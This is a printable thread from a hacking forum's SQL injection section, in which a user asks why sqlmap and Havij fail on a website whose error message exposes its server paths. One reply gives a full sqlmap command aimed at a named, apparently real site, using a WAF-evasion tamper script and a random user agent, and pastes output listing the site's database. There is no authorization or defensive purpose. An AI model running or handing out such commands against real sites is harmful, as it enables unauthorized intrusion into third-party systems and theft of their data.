Hack Forums
cant find proper way to inject SQL in a target with havij ot sqlmap - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+----- Forum: SQL Injection Attacks (https://hackforums.net/forumdisplay.php?fid=103)
+----- Thread: cant find proper way to inject SQL in a target with havij ot sqlmap (/showthread.php?tid=6062179)



cant find proper way to inject SQL in a target with havij ot sqlmap - arsenic33 - Apr 1, 2020

Hello
i found a website that suffer from sql injection. ok! u want ask me that how did u understand it?
target.com/news_more.php?id=23 its normal url. but when i input ' at the end of the URL, this page return this for me:

Fatal error: Uncaught Error: Call to a member function fetch_assoc() on boolean in /home2/rakum0091/public_html/news_more.php:94 Stack trace: #0 {main} thrown in /home2/rakum0091/public_html/news_more.php on line 94

but when i try it with havij or sqlmap it dont work
where is the problem?🙃


RE: cant find proper way to inject SQL in a target with havij ot sqlmap - Ray9190 - Apr 18, 2020

Try using it on sql dumper. Copy nd paste link on it


RE: cant find proper way to inject SQL in a target with havij ot sqlmap - SilverEye10 - May 2, 2020

sqlmap -u "rakum.org/news_more.php?id=23" --dbs --random-agent --tamper=modsecurityversioned --level=2

available databases [1]:
[*] rakum009_rakum

There ya go